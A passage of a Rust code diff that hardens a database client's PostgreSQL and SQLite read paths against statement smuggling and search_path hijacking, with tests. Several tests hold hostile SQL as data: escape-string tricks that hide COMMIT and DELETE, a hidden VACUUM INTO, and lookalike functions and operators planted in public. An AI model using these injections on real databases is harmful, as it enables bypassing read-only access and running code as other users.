                              WHERE u.ord <= i.indnkeyatts AND NOT ua.attnotnull)
                       ORDER BY ic.relname
                       LIMIT 1) best
-               CROSS JOIN LATERAL unnest(best.indkey::int2[]) WITH ORDINALITY AS k(attnum, ord)
+               CROSS JOIN LATERAL pg_catalog.unnest(best.indkey::int2[]) WITH ORDINALITY AS k(attnum, ord)
                JOIN pg_catalog.pg_attribute a ON a.attrelid = best.indrelid AND a.attnum = k.attnum
               WHERE k.ord <= best.indnkeyatts
               ORDER BY k.ord)
 FROM pg_catalog.pg_class c
-WHERE c.oid = $1::text::regclass";
+WHERE c.oid = $1::text::regclass::oid";
 
 pub(crate) async fn row_identity(client: &Client, relation: &str) -> Result<RowIdentity, DriverError> {
     let field = decode_error("pg_class");
@@ -46,8 +47,8 @@ pub(crate) async fn row_identity(client: &Client, relation: &str) -> Result<RowI
         return Ok(RowIdentity::Unordered);
     };
     let relkind: String = row.try_get(0).map_err(&field)?;
-    let primary_key: Vec<String> = row.try_get(1).map_err(&field)?;
-    let unique_key: Vec<String> = row.try_get(2).map_err(&field)?;
+    let TextArray(primary_key) = row.try_get(1).map_err(&field)?;
+    let TextArray(unique_key) = row.try_get(2).map_err(&field)?;
     Ok(identity(&relkind, primary_key, unique_key))
 }
 
diff --git a/linux/crates/drivers/postgres/src/metadata/indexes.rs b/linux/crates/drivers/postgres/src/metadata/indexes.rs
index d286a2e576..f22abce8d1 100644
--- a/linux/crates/drivers/postgres/src/metadata/indexes.rs
+++ b/linux/crates/drivers/postgres/src/metadata/indexes.rs
@@ -7,7 +7,7 @@ use super::{decode_error, text_rows};
 /// One row per key column, the INCLUDE columns past `indnkeyatts` left
 /// out. Attribute number 0 marks an expression, which only
 /// `pg_get_indexdef` can print.
-const INDEXES_SQL: &str = "\
+pub(super) const INDEXES_SQL: &str = "\
 SELECT ic.relname::text,
        i.indisunique,
        i.indisprimary,
@@ -17,9 +17,9 @@ SELECT ic.relname::text,
        COALESCE(pg_catalog.pg_index_column_has_property(i.indexrelid, k.ord::int4, 'desc'), false)
 FROM pg_catalog.pg_index i
 JOIN pg_catalog.pg_class ic ON ic.oid = i.indexrelid
-CROSS JOIN LATERAL unnest(i.indkey::int2[]) WITH ORDINALITY AS k(attnum, ord)
+CROSS JOIN LATERAL pg_catalog.unnest(i.indkey::int2[]) WITH ORDINALITY AS k(attnum, ord)
 LEFT JOIN pg_catalog.pg_attribute a ON a.attrelid = i.indrelid AND a.attnum = k.attnum AND k.attnum > 0
-WHERE i.indrelid = $1::text::regclass AND k.ord <= i.indnkeyatts
+WHERE i.indrelid = $1::text::regclass::oid AND k.ord <= i.indnkeyatts
 ORDER BY ic.relname, k.ord";
 
 pub(crate) async fn fetch_indexes(client: &Client, relation: &str) -> Result<Vec<IndexInfo>, DriverError> {
diff --git a/linux/crates/drivers/postgres/src/metadata/mod.rs b/linux/crates/drivers/postgres/src/metadata/mod.rs
index 930ef17be2..767638bd5c 100644
--- a/linux/crates/drivers/postgres/src/metadata/mod.rs
+++ b/linux/crates/drivers/postgres/src/metadata/mod.rs
@@ -25,6 +25,7 @@ use tokio_postgres::{Client, Row};
 use crate::catalog::{
     PRIMARY_KEY_NAME_SQL, PgColumnRow, column_definition, column_info, inbound_foreign_key, inbound_foreign_keys_sql,
 };
+use crate::codec::TextArray;
 use crate::errors::map_error;
 
 /// Rows of a catalogue query whose parameters are all text.
@@ -101,7 +102,7 @@ pub(crate) async fn fetch_table_definition(
             let field = decode_error("pg_constraint");
             Ok(PrimaryKeyConstraint {
                 name: Some(row.try_get(0).map_err(&field)?),
-                columns: row.try_get(1).map_err(&field)?,
+                columns: row.try_get::<_, TextArray>(1).map_err(&field)?.0,
             })
         })
         .transpose()?;
@@ -117,3 +118,79 @@ pub(crate) async fn fetch_table_definition(
         options: None,
     })
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::catalog::COLUMNS_SQL_BEFORE_14;
+
+    /// Words that take a parenthesis without calling a function by name.
+    const SYNTAX: [&str; 14] = [
+        "AS", "ARRAY", "COALESCE", "EXISTS", "FROM", "IN", "ANY", "NULLIF", "GREATEST", "ON", "AND", "OR", "NOT",
+        "OPERATOR",
+    ];
+
+    /// Names called without `pg_catalog.` in front, which the session's
+    /// search_path would resolve. An alias's column list after AS is no
+    /// call, and neither is text in a string.
+    fn bare_calls(sql: &str) -> Vec<String> {
+        let mut code = String::with_capacity(sql.len());
+        let mut quoted = false;
+        for c in sql.chars() {
+            if c == '\'' {
+                quoted = !quoted;
+            }
+            code.push(if quoted { ' ' } else { c });
+        }
+        let mut words: Vec<(usize, usize)> = Vec::new();
+        let mut start = None;
+        for (index, c) in code.char_indices().chain([(code.len(), ' ')]) {
+            match (start, c.is_ascii_alphanumeric() || c == '_') {
+                (None, true) => start = Some(index),
+                (Some(from), false) => {
+                    words.push((from, index));
+                    start = None;
+                }
+                _ => {}
+            }
+        }
+        let mut calls = Vec::new();
+        for (nth, &(from, to)) in words.iter().enumerate() {
+            let word = &code[from..to];
+            let calls_it = code[to..].trim_start().starts_with('(');
+            let qualified = code[..from].ends_with('.');
+            let after_as = nth > 0 && code[words[nth - 1].0..words[nth - 1].1].eq_ignore_ascii_case("AS");
+            let syntax = SYNTAX.iter().any(|keyword| keyword.eq_ignore_ascii_case(word));
+            if calls_it && !qualified && !after_as && !syntax {
+                calls.push(word.to_owned());
+            }
+        }
+        calls
+    }
+
+    #[test]
+    fn every_catalog_read_names_its_functions_in_pg_catalog() {
+        for (name, sql) in [
+            ("schemas", objects::SCHEMAS_SQL.to_owned()),
+            ("objects", objects::OBJECTS_SQL.to_owned()),
+            ("identity", identity::IDENTITY_SQL.to_owned()),
+            ("indexes", indexes::INDEXES_SQL.to_owned()),
+            ("estimate", estimate::ESTIMATE_SQL.to_owned()),
+            ("foreign keys", foreign_keys::foreign_keys_sql()),
+            ("inbound foreign keys", inbound_foreign_keys_sql()),
+            ("primary key", PRIMARY_KEY_NAME_SQL.to_owned()),
+            ("columns", crate::catalog::COLUMNS_SQL.to_owned()),
+            ("columns before 14", COLUMNS_SQL_BEFORE_14.to_owned()),
+        ] {
+            assert_eq!(bare_calls(&sql), Vec::<String>::new(), "{name}");
+        }
+    }
+
+    #[test]
+    fn a_bare_call_is_found_and_a_qualified_one_or_an_alias_is_not() {
+        assert_eq!(
+            bare_calls("SELECT unnest(a), pg_catalog.unnest(b), COALESCE(x, 'f(y)') FROM t AS k(a, b)"),
+            ["unnest"]
+        );
+    }
+}
diff --git a/linux/crates/drivers/postgres/src/metadata/objects.rs b/linux/crates/drivers/postgres/src/metadata/objects.rs
index 39e2a8e26a..4282d7982f 100644
--- a/linux/crates/drivers/postgres/src/metadata/objects.rs
+++ b/linux/crates/drivers/postgres/src/metadata/objects.rs
@@ -6,16 +6,16 @@ use super::{decode_error, text_rows};
 
 /// Schemas this session can use: no TOAST schemas, and no other
 /// session's temporary schema.
-const SCHEMAS_SQL: &str = "\
+pub(super) const SCHEMAS_SQL: &str = "\
 SELECT n.nspname::text,
-       COALESCE(n.nspname = current_schema(), false),
-       n.nspname = 'information_schema' OR starts_with(n.nspname, 'pg_')
+       COALESCE(n.nspname = pg_catalog.current_schema(), false),
+       n.nspname = 'information_schema' OR pg_catalog.starts_with(n.nspname, 'pg_')
 FROM pg_catalog.pg_namespace n
-WHERE NOT starts_with(n.nspname, 'pg_toast')
+WHERE NOT pg_catalog.starts_with(n.nspname, 'pg_toast')
   AND NOT pg_catalog.pg_is_other_temp_schema(n.oid)
 ORDER BY n.nspname";
 
-const OBJECTS_SQL: &str = "\
+pub(super) const OBJECTS_SQL: &str = "\
 SELECT DISTINCT n.nspname::text, o.name, o.kind
 FROM (
     SELECT c.relnamespace AS namespace, c.relname::text AS name, c.relkind::text AS kind
@@ -29,9 +29,9 @@ FROM (
 JOIN pg_catalog.pg_namespace n ON n.oid = o.namespace
 WHERE NOT pg_catalog.pg_is_other_temp_schema(n.oid)
   AND CASE $1
-        WHEN 'default' THEN n.nspname = current_schema()
+        WHEN 'default' THEN n.nspname = pg_catalog.current_schema()
         WHEN 'schema' THEN n.nspname = $2
-        ELSE n.nspname <> 'information_schema' AND NOT starts_with(n.nspname, 'pg_')
+        ELSE n.nspname <> 'information_schema' AND NOT pg_catalog.starts_with(n.nspname, 'pg_')
       END
 ORDER BY 1, 2, 3";
 
diff --git a/linux/crates/drivers/postgres/src/stream_read.rs b/linux/crates/drivers/postgres/src/stream_read.rs
index 714d882ba8..6adb14a93a 100644
--- a/linux/crates/drivers/postgres/src/stream_read.rs
+++ b/linux/crates/drivers/postgres/src/stream_read.rs
@@ -53,6 +53,7 @@ pub(crate) async fn stream(
             emitter.binary(client, statement, rows).await
         }
         ReadStatement::User(sql) => {
+            refuse_more_than_one(client, sql.as_str()).await?;
             let messages = client
                 .simple_query_raw(sql.as_str())
                 .await
@@ -88,6 +89,20 @@ fn refuse_transaction_control(sql: &str, conforming: bool) -> Result<(), DriverE
     Ok(())
 }
 
+/// The extended protocol's Parse refuses a text that holds more than one
+/// statement, and the simple query that follows splits the text with the
+/// same parser, so nothing can follow the read inside its transaction
+/// whatever the client's lexer made of the text. The simple query keeps
+/// every value as the server's text. The statement is prepared under a
+/// name, which the read's own connection allows.
+async fn refuse_more_than_one(client: &Client, sql: &str) -> Result<(), DriverError> {
+    client
+        .prepare_typed(sql, &[])
+        .await
+        .map(drop)
+        .map_err(|error| map_error(&error))
+}
+
 struct Emitter<'a> {
     sink: &'a mut dyn ResultSink,
     batch: Vec<Vec<Value>>,
diff --git a/linux/crates/drivers/postgres/tests/integration/metadata.rs b/linux/crates/drivers/postgres/tests/integration/metadata.rs
index 34613a1258..373af7ae0c 100644
--- a/linux/crates/drivers/postgres/tests/integration/metadata.rs
+++ b/linux/crates/drivers/postgres/tests/integration/metadata.rs
@@ -736,3 +736,82 @@ async fn alter_add_column_then_query_bound_on_all_four_pooled_connections() {
         assert_eq!(read.rows[0][1], Value::Text("x".to_owned()));
     }
 }
+
+/// Another user's functions and operators in `public` whose signatures
+/// match the catalog reads' arguments better than the built-ins do. A
+/// catalog read never runs one, and a table named without its schema is
+/// still found on the session's own path.
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+#[ignore = "requires docker"]
+async fn lookalikes_in_public_never_run_in_a_catalog_read() {
+    let fixture = start().await;
+    let connection = connect(&fixture, false).await;
+    let trap = |name: &str, arguments: &str, returns: &str| {
+        format!(
+            "CREATE FUNCTION public.{name}({arguments}) RETURNS {returns} LANGUAGE plpgsql AS \
+             $$ BEGIN RAISE EXCEPTION 'public.{name} ran as %', current_user; END $$"
+        )
+    };
+    let statements = [
+        "CREATE TYPE mood AS ENUM ('sad', 'ok')".to_owned(),
+        "CREATE TABLE accounts (id int PRIMARY KEY, state mood)".to_owned(),
+        "CREATE TABLE orders (id int PRIMARY KEY, account int REFERENCES accounts (id))".to_owned(),
+        "CREATE INDEX orders_account ON orders (account)".to_owned(),
+        trap("starts_with", "name, text", "boolean"),
+        trap("unnest", "int2[]", "SETOF int2"),
+        trap("to_jsonb", "pg_catalog.pg_constraint", "jsonb"),
+        trap("array_agg_step", "text[], text", "text[]"),
+        "CREATE AGGREGATE public.array_agg(text) (SFUNC = public.array_agg_step, STYPE = text[])".to_owned(),
+        trap("oid_is_regclass", "oid, regclass", "boolean"),
+        "CREATE OPERATOR public.= (LEFTARG = oid, RIGHTARG = regclass, FUNCTION = public.oid_is_regclass)".to_owned(),
+        trap("oid_is_regtype", "oid, regtype", "boolean"),
+        "CREATE OPERATOR public.= (LEFTARG = oid, RIGHTARG = regtype, FUNCTION = public.oid_is_regtype)".to_owned(),
+        trap("jsonb_field", "jsonb, text", "text"),
+        "CREATE OPERATOR public.->> (LEFTARG = jsonb, RIGHTARG = text, FUNCTION = public.jsonb_field)".to_owned(),
+        trap("oid_is_not_int", "oid, integer", "boolean"),
+        "CREATE OPERATOR public.<> (LEFTARG = oid, RIGHTARG = integer, FUNCTION = public.oid_is_not_int)".to_owned(),
+        trap("real_below_int", "real, integer", "boolean"),
+        "CREATE OPERATOR public.< (LEFTARG = real, RIGHTARG = integer, FUNCTION = public.real_below_int)".to_owned(),
+    ];
+    let statements: Vec<&str> = statements.iter().map(String::as_str).collect();
+    setup(connection.as_ref(), &statements).await;
+
+    let schemas = connection.list_schemas(within(CALL)).await.unwrap();
+    assert!(
+        schemas
+            .iter()
+            .any(|schema| schema.name == "public" && schema.is_default)
+    );
+    connection
+        .list_objects(&ObjectScope::DefaultSchema, within(CALL))
+        .await
+        .unwrap();
+    connection
+        .list_objects(&ObjectScope::AllSchemas, within(CALL))
+        .await
+        .unwrap();
+    for name in ["orders", "accounts"] {
+        connection.fetch_columns(&table(name), within(CALL)).await.unwrap();
+        connection.fetch_indexes(&table(name), within(CALL)).await.unwrap();
+        connection.fetch_foreign_keys(&table(name), within(CALL)).await.unwrap();
+        connection
+            .fetch_inbound_foreign_keys(&table(name), within(CALL))
+            .await
+            .unwrap();
+        connection
+            .fetch_table_definition(&table(name), within(CALL))
+            .await
+            .unwrap();
+        connection.row_identity(&table(name), within(CALL)).await.unwrap();
+        connection.table_estimate(&table(name), within(CALL)).await.unwrap();
+    }
+    let unqualified = TableRef::new(None, "orders");
+    let columns = connection.fetch_columns(&unqualified, within(CALL)).await.unwrap();
+    assert_eq!(columns.len(), 2);
+    assert!(
+        connection
+            .fetch_columns(&TableRef::new(None, "missing"), within(CALL))
+            .await
+            .is_err()
+    );
+}
diff --git a/linux/crates/drivers/postgres/tests/integration/read_only.rs b/linux/crates/drivers/postgres/tests/integration/read_only.rs
index 6fb8cc2d11..0d31733a37 100644
--- a/linux/crates/drivers/postgres/tests/integration/read_only.rs
+++ b/linux/crates/drivers/postgres/tests/integration/read_only.rs
@@ -152,6 +152,20 @@ async fn stream_read_user_sql_cannot_turn_the_transaction_writable() {
     let owner = connect(&fixture, false).await;
     setup(owner.as_ref(), &["CREATE TABLE t (id int)", "INSERT INTO t VALUES (1)"]).await;
 
+    for sql in [
+        "SET TRANSACTION READ WRITE",
+        "SELECT set_config('transaction_read_only', 'off', true)",
+        "DELETE FROM t",
+    ] {
+        let outcome = stream_user_sql(owner.as_ref(), sql).await;
+
+        assert!(
+            matches!(outcome, Err(DriverError::ReadOnly(ReadOnlyRefusal::ServerRejected(_)))),
+            "{sql}: {outcome:?}"
+        );
+    }
+    // A read is one statement, so the server refuses a second before it
+    // runs the first.
     for sql in [
         "SET TRANSACTION READ WRITE; DELETE FROM t",
         "SET transaction_read_only = off; DELETE FROM t",
@@ -161,14 +175,61 @@ async fn stream_read_user_sql_cannot_turn_the_transaction_writable() {
     ] {
         let outcome = stream_user_sql(owner.as_ref(), sql).await;
 
-        assert!(
-            matches!(outcome, Err(DriverError::ReadOnly(ReadOnlyRefusal::ServerRejected(_)))),
-            "{sql}: {outcome:?}"
-        );
+        assert!(outcome.is_err(), "{sql}: {outcome:?}");
     }
     assert_eq!(scalar(owner.as_ref(), "SELECT count(*) FROM t").await, Value::Int(1));
 }
 
+/// A string on the line after `E'x'` continues it, so the server reads
+/// its `\'` as an escaped quote whatever `standard_conforming_strings`
+/// says, and the COMMIT is a statement of its own. The read is refused
+/// whichever way the text is split.
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+#[ignore = "requires docker"]
+async fn stream_read_refuses_a_continued_escape_string_that_hides_a_commit() {
+    let fixture = start().await;
+    let owner = connect(&fixture, false).await;
+    setup(owner.as_ref(), &["CREATE TABLE t (id int)", "INSERT INTO t VALUES (1)"]).await;
+
+    let outcome = stream_user_sql(
+        owner.as_ref(),
+        "SELECT E'x'\n'\\' || ' || '\\' ; COMMIT; DELETE FROM t; --'",
+    )
+    .await;
+
+    assert!(outcome.is_err(), "{outcome:?}");
+    assert_eq!(scalar(owner.as_ref(), "SELECT count(*) FROM t").await, Value::Int(1));
+}
+
+/// The rows of user SQL come back typed, and a statement with no rows
+/// still has its columns.
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+#[ignore = "requires docker"]
+async fn stream_read_of_user_sql_keeps_its_columns() {
+    let fixture = start().await;
+    let owner = connect(&fixture, false).await;
+    setup(owner.as_ref(), &["CREATE TABLE t (id int, note text)"]).await;
+
+    let events = Events::default();
+    let outcome = owner
+        .stream_read(
+            &ReadStatement::User(UserSql::new("SELECT id, note FROM t WHERE id > 0")),
+            Box::new(EventSink::new(&events)),
+            within(CALL),
+        )
+        .await;
+
+    assert!(outcome.is_ok(), "{outcome:?}");
+    assert!(
+        events.all().iter().any(|event| matches!(
+            event,
+            tablepro_core::ResultEvent::ResultSetStarted { columns } if columns.len() == 2
+        )),
+        "{:?}",
+        events.all()
+    );
+}
+
 /// With `standard_conforming_strings` off the server reads `\'` as an
 /// escaped quote, so the COMMIT is a statement of its own and the guard
 /// has to see it that way too.
diff --git a/linux/crates/drivers/sqlite/src/connection.rs b/linux/crates/drivers/sqlite/src/connection.rs
index 941bf5ce47..020871d974 100644
--- a/linux/crates/drivers/sqlite/src/connection.rs
+++ b/linux/crates/drivers/sqlite/src/connection.rs
@@ -29,7 +29,7 @@ use crate::errors::{map_error, map_open_error};
 use crate::interrupt::{InterruptFlag, SqliteStop};
 use crate::metadata;
 use crate::open::connect_options;
-use crate::result_stream::{collect, count, run_bound, run_script};
+use crate::result_stream::{StreamOutcome, collect, count, run_bound, run_script};
 use crate::sqlite_pooled::SqlitePooled;
 use crate::sqlite_standalone::SqliteStandalone;
 use crate::write_batch;
@@ -228,13 +228,28 @@ impl SqliteConnection {
             }),
             opened = SqlxConnection::connect_with(&read_only) => {
                 let mut connection = opened.map_err(|error| map_open_error(error, &self.path))?;
-                crate::attach_guard::install(&mut connection).await?;
+                crate::read_guard::install(&mut connection).await?;
                 Ok(connection)
             }
         }
     }
 }
 
+/// User SQL on a read connection, run only once SQLite reads it as one
+/// statement.
+async fn read_user_sql(
+    connection: &mut SqlxConnection,
+    flag: &InterruptFlag,
+    lock_timeout: std::time::Duration,
+    sql: &str,
+    sink: &mut dyn ResultSink,
+) -> Result<StreamOutcome, DriverError> {
+    crate::read_guard::refuse_more_than_one(connection, sql).await?;
+    // The count took the busy handler off.
+    flag.install(connection, lock_timeout).await?;
+    run_script(connection, sql, None, sink, || false).await
+}
+
 /// Read the file once, so a file that is not a database fails the
 /// connect rather than the first browse, and refuse a library older
 /// than the catalogue queries need.
@@ -441,7 +456,7 @@ impl Connection for SqliteConnection {
                                 run_bound(held.connection(), statement, sink.as_mut()).await
                             }
                             ReadStatement::User(sql) => {
-                                run_script(held.connection(), sql.as_str(), None, sink.as_mut(), || false).await
+                                read_user_sql(held.connection(), &flag, lock_timeout, sql.as_str(), sink.as_mut()).await
                             }
                         },
                         Err(error) => Err(error),
diff --git a/linux/crates/drivers/sqlite/src/dialect.rs b/linux/crates/drivers/sqlite/src/dialect.rs
index 2602b8c7cf..1751c5730c 100644
--- a/linux/crates/drivers/sqlite/src/dialect.rs
+++ b/linux/crates/drivers/sqlite/src/dialect.rs
@@ -253,6 +253,7 @@ const CREDENTIAL_RULES: CredentialRules = CredentialRules {
         (&["ATTACH"], &["KEY"]),
     ],
     carriers: &[],
+    secret_parameters: &[],
 };
 
 #[cfg(test)]
diff --git a/linux/crates/drivers/sqlite/src/lib.rs b/linux/crates/drivers/sqlite/src/lib.rs
index 5d4eaf16d2..8450200cd6 100644
--- a/linux/crates/drivers/sqlite/src/lib.rs
+++ b/linux/crates/drivers/sqlite/src/lib.rs
@@ -21,6 +21,7 @@ mod interrupt;
 mod lock_wait;
 mod metadata;
 mod open;
+mod read_guard;
 mod result_stream;
 mod sqlite_pooled;
 mod sqlite_standalone;
diff --git a/linux/crates/drivers/sqlite/src/read_guard.rs b/linux/crates/drivers/sqlite/src/read_guard.rs
new file mode 100644
index 0000000000..42db95e37d
--- /dev/null
+++ b/linux/crates/drivers/sqlite/src/read_guard.rs
@@ -0,0 +1,123 @@
+//! What a connection that runs user SQL only to read refuses beyond what
+//! SQLite's read-only open does. A read-only connection can still attach
+//! another file, and `VACUUM INTO` writes a copy of the database through
+//! an attach of its own; a pragma such as `foreign_keys` or
+//! `hard_heap_limit` changes the connection or the process, and SQLite
+//! applies it while compiling, so `EXPLAIN PRAGMA` does too.
+
+use std::ffi::{CStr, c_char, c_int, c_void};
+
+use sqlx::sqlite::SqliteConnection as SqlxConnection;
+use sqlx::{AssertSqlSafe, Executor as _, SqlSafeStr as _};
+use tablepro_core::sql_syntax::sqlite_pragma_reports;
+use tablepro_core::{BusyReason, DriverError, ReadOnlyRefusal};
+
+use crate::errors::map_error;
+
+/// Allow no attached database and check every statement prepared from
+/// now on.
+pub(crate) async fn install(connection: &mut SqlxConnection) -> Result<(), DriverError> {
+    let mut handle = connection.lock_handle().await.map_err(map_error)?;
+    let raw = handle.as_raw_handle().as_ptr();
+    // SAFETY: `raw` comes from the locked handle, so the connection is
+    // open and nothing runs on it meanwhile. The callback takes no user
+    // data.
+    let code = unsafe {
+        libsqlite3_sys::sqlite3_limit(raw, libsqlite3_sys::SQLITE_LIMIT_ATTACHED, 0);
+        libsqlite3_sys::sqlite3_set_authorizer(raw, Some(authorize), std::ptr::null_mut())
+    };
+    match code {
+        libsqlite3_sys::SQLITE_OK => Ok(()),
+        code => Err(DriverError::Protocol(format!(
+            "SQLite refused the read guard with code {code}"
+        ))),
+    }
+}
+
+/// Refuse text SQLite reads as more than one statement: sqlx runs every
+/// statement a text holds, and what judged it saw one.
+///
+/// sqlx compiles the whole text first, on its own worker and with the
+/// call's busy handler, so a lock is waited out where a stop can end it,
+/// the schema is loaded, and a refused pragma or a syntax error ends the
+/// read here. The count then prepares on this thread with no busy
+/// handler: with the schema loaded there is no lock to wait for, and a
+/// wait here would hold up the task that delivers the stop. The caller
+/// installs its busy handler again.
+pub(crate) async fn refuse_more_than_one(connection: &mut SqlxConnection, sql: &str) -> Result<(), DriverError> {
+    (&mut *connection)
+        .prepare(AssertSqlSafe(sql.to_owned()).into_sql_str())
+        .await
+        .map_err(map_error)?;
+    let mut handle = connection.lock_handle().await.map_err(map_error)?;
+    let raw = handle.as_raw_handle().as_ptr();
+    // SAFETY: `raw` is the locked, open connection.
+    unsafe { libsqlite3_sys::sqlite3_busy_timeout(raw, 0) };
+    let mut rest = sql.as_bytes();
+    let mut statements = 0usize;
+    while !rest.is_empty() {
+        let length = c_int::try_from(rest.len())
+            .map_err(|_| DriverError::Protocol("the statement is too long for SQLite".to_owned()))?;
+        let mut statement = std::ptr::null_mut();
+        let mut tail: *const c_char = std::ptr::null();
+        // SAFETY: `raw` is the locked, open connection; `rest` outlives
+        // the call and `length` is its length, so SQLite reads inside it
+        // and points `tail` into it. A prepared statement is finalized
+        // before the next prepare.
+        let code = unsafe {
+            let code = libsqlite3_sys::sqlite3_prepare_v2(raw, rest.as_ptr().cast(), length, &mut statement, &mut tail);
+            if !statement.is_null() {
+                libsqlite3_sys::sqlite3_finalize(statement);
+            }
+            code
+        };
+        match code {
+            libsqlite3_sys::SQLITE_OK => {}
+            libsqlite3_sys::SQLITE_BUSY | libsqlite3_sys::SQLITE_LOCKED => {
+                return Err(DriverError::Busy(BusyReason::FileLocked));
+            }
+            // sqlx compiled the same text a moment ago, so only a schema
+            // another connection changed in between gets here; the run
+            // reports SQLite's own error.
+            _ => return Ok(()),
+        }
+        if !statement.is_null() {
+            statements += 1;
+        }
+        if statements > 1 {
+            return Err(DriverError::ReadOnly(ReadOnlyRefusal::ClientGuard));
+        }
+        // SAFETY: SQLite sets `tail` to a point inside `rest` or to its end.
+        let consumed = usize::try_from(unsafe { tail.offset_from(rest.as_ptr().cast()) }).unwrap_or(0);
+        if consumed == 0 {
+            break;
+        }
+        rest = rest.get(consumed..).unwrap_or_default();
+    }
+    Ok(())
+}
+
+/// SQLite's authorizer: no ATTACH, and a pragma only when it reports.
+unsafe extern "C" fn authorize(
+    _data: *mut c_void,
+    action: c_int,
+    first: *const c_char,
+    _second: *const c_char,
+    _database: *const c_char,
+    _trigger: *const c_char,
+) -> c_int {
+    match action {
+        libsqlite3_sys::SQLITE_ATTACH => libsqlite3_sys::SQLITE_DENY,
+        libsqlite3_sys::SQLITE_PRAGMA if first.is_null() => libsqlite3_sys::SQLITE_DENY,
+        libsqlite3_sys::SQLITE_PRAGMA => {
+            // SAFETY: SQLite hands the pragma's name as a NUL-terminated
+            // string that stays valid for the call.
+            let name = unsafe { CStr::from_ptr(first) };
+            match name.to_str().is_ok_and(sqlite_pragma_reports) {
+                true => libsqlite3_sys::SQLITE_OK,
+                false => libsqlite3_sys::SQLITE_DENY,
+            }
+        }
+        _ => libsqlite3_sys::SQLITE_OK,
+    }
+}
diff --git a/linux/crates/drivers/sqlite/tests/integration/sessions.rs b/linux/crates/drivers/sqlite/tests/integration/sessions.rs
index 97467a25eb..4a54e8a165 100644
--- a/linux/crates/drivers/sqlite/tests/integration/sessions.rs
+++ b/linux/crates/drivers/sqlite/tests/integration/sessions.rs
@@ -442,3 +442,47 @@ async fn stream_read_sends_every_row_and_refuses_writes() {
     assert_eq!(rows.rows[0][0], Value::Int(10));
     connection.close().await.unwrap();
 }
+
+/// A read-only open still lets SQLite attach another file, write a copy
+/// of the database with `VACUUM INTO`, and set pragmas, and sqlx runs
+/// every statement a text holds.
+#[tokio::test]
+async fn a_read_attaches_nothing_sets_no_pragma_and_runs_one_statement() {
+    let file = TestFile::new().await;
+    let connection = file.open().await;
+    apply(connection.as_ref(), &["CREATE TABLE t (a)", "INSERT INTO t VALUES (1)"])
+        .await
+        .unwrap();
+    let copy = file.directory().join("copy.db");
+    let copy_name = copy.display().to_string();
+    let attach = format!("ATTACH '{}' AS other", file.path.display());
+    let vacuum = format!("VACUUM INTO '{copy_name}'");
+    let hidden = format!("SELECT $1('); VACUUM INTO '{copy_name}'; --'");
+
+    for sql in [
+        vacuum.as_str(),
+        attach.as_str(),
+        hidden.as_str(),
+        "PRAGMA foreign_keys = OFF",
+        "EXPLAIN PRAGMA hard_heap_limit = 1",
+        "PRAGMA user_version = 7",
+        "SELECT 1; SELECT 2",
+    ] {
+        let collected = Collected::default();
+        let refused = connection
+            .stream_read(&ReadStatement::User(UserSql::new(sql)), collected.sink(), call())
+            .await;
+        assert!(refused.is_err(), "{sql}: {refused:?}");
+    }
+    assert!(!copy.exists());
+
+    for sql in ["PRAGMA table_info(t)", "SELECT a FROM t", "SELECT a FROM t; -- note"] {
+        let collected = Collected::default();
+        let read = connection
+            .stream_read(&ReadStatement::User(UserSql::new(sql)), collected.sink(), call())
+            .await;
+        assert!(read.is_ok(), "{sql}: {read:?}");
+        assert!(!collected.rows().is_empty(), "{sql}");
+    }
+    connection.close().await.unwrap();
+}
diff --git a/linux/crates/mcp/src/query_tools.rs b/linux/crates/mcp/src/query_tools.rs
index 784fac6a4f..912f253774 100644
--- a/linux/crates/mcp/src/query_tools.rs
+++ b/linux/crates/mcp/src/query_tools.rs
@@ -437,6 +437,14 @@ mod tests {
         assert!(single_batch("SELECT 1; SELECT 2", SqlGrammar::PostgreSql).is_err());
         assert!(single_batch("", SqlGrammar::PostgreSql).is_err());
         assert!(single_batch("SELECT 'open", SqlGrammar::PostgreSql).is_err());
+        assert!(single_batch("SELECT $1('); VACUUM INTO 'copy.db'; --'", SqlGrammar::Sqlite).is_err());
+        assert!(
+            single_batch(
+                "SELECT E'x'\n'\\' || ' || '\\' ; COMMIT; DELETE FROM orders; --'",
+                SqlGrammar::PostgreSql
+            )
+            .is_err()
+        );
     }
 
     #[test]
diff --git a/linux/crates/storage/src/connections.rs b/linux/crates/storage/src/connections.rs
index 766caa4b28..f24cc70911 100644
--- a/linux/crates/storage/src/connections.rs
+++ b/linux/crates/storage/src/connections.rs
@@ -17,6 +17,9 @@ use crate::{ConnectionTag, ConnectionTagName};
 #[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
 pub struct SavedConnection {
     pub id: Uuid,
+    /// As [`crate::name_rules::shown`] gives it, so a file cannot bring a
+    /// name that looks like a saved one and compares as another.
+    #[serde(deserialize_with = "crate::name_rules::deserialize_shown")]
     pub name: String,
     pub driver_id: String,
     pub host: String,
@@ -187,7 +190,7 @@ pub enum SavedSshAuth {
 }
 
 /// The saved-connection list as it sits on disk.
-#[derive(Debug, Clone, Default, Serialize, Deserialize)]
+#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)]
 struct ConnectionsDocument {
     connections: Vec<SavedConnection>,
     #[serde(default, skip_serializing_if = "Vec::is_empty")]
@@ -198,7 +201,8 @@ impl ConnectionsDocument {
     /// A tag named twice keeps its first entry and a connection names a
     /// tag at most once, whatever a hand-edited or crafted file says. A
     /// tag whose name another one holds becomes that one, so a connection
-    /// keeps the label it showed.
+    /// keeps the label it showed. Every write passes here, so a name is
+    /// stored as the list shows it however it was set.
     fn tidy(&mut self) {
         let mut kept: Vec<ConnectionTag> = Vec::with_capacity(self.tags.len());
         let mut same: HashMap<Uuid, Uuid> = HashMap::with_capacity(self.tags.len());
@@ -220,6 +224,7 @@ impl ConnectionsDocument {
         }
         self.tags = kept;
         for connection in &mut self.connections {
+            connection.name = crate::name_rules::shown(&connection.name);
             let mut seen = HashSet::with_capacity(connection.tags.len());
             connection.tags = std::mem::take(&mut connection.tags)
                 .iter()
@@ -333,6 +338,49 @@ impl ImportReport {
     }
 }
 
+/// What an import will do, before it is written.
+#[derive(Debug, Clone)]
+pub struct ImportPreview {
+    entries: Vec<ImportEntry>,
+    before: ConnectionsDocument,
+    after: ConnectionsDocument,
+}
+
+impl ImportPreview {
+    /// Each connection of the file as it will be saved, in file order.
+    pub fn entries(&self) -> &[ImportEntry] {
+        &self.entries
+    }
+
+    pub fn report(&self) -> ImportReport {
+        let added = self
+            .entries
